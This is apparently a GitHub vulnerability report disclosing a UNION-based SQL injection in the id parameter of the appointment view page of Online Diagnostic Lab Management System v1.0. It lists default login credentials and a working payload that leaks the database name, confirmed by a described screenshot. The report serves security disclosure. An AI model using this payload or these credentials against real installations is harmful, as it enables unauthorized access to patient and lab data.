

main

...

bug\_report / vendors / oretnom23 / online-diagnostic-lab-management-system / SQLi-2.md



Happyd99 Create SQLi-2.md

History

1 contributor

33 lines (22 sloc) | 1.28 KB

...

# Online Diagnostic Lab Management System v1.0 by oretnom23 has SQL injection

BUG\_Author: Happyd99

Login account: admin/admin123 (Super Admin account)

Login account: [cblake@sample.com](mailto:cblake@sample.com)/cblake123 (General account)

vendors: <https://www.sourcecodester.com/php/15129/online-diagnostic-lab-management-system-php-free-source-code.html>

The program is built using the xmapp-php8.1 version

Vulnerability File: /odlms/admin/?page=appointments/view\_appointment&id=

Vulnerability location: /odlms/admin/?page=appointments/view\_appointment&id=,id

dbname=odlms\_db,length=8

[+] Payload: /odlms/admin/?

page=appointments/view\_appointment&id=-4%27%20union%20select%201,database(),3,4,5,6,7,8,9,10,11,12,13--+ // Leak place ---> id

The screenshot displays a web browser window with a dark theme. The address bar shows a URL: `http://192.168.1.88/odlms/admin/?page=appointments/view_appointment&id=-4' union select 1,database(),3,4,5,6,7,8,9,10,11,12,13--+|`. Below the address bar, there's a toolbar with icons for Log URL, Split URL, and Execute. A status bar at the bottom indicates "ODLMS - PHP".

The main content area shows the "Online Diagnostic Lab Management System - Admin" page. It features a sidebar with navigation links: Dashboard, Appointment List, Registered Users, Maintenance, Test List, User List, and Settings. The main panel displays "Booked Appointment Details" for a specific appointment.

#	Name	Price
1	CT scan	2,500.00
2	Magnetic Resonance Imaging (MRI) Scan	2,500.00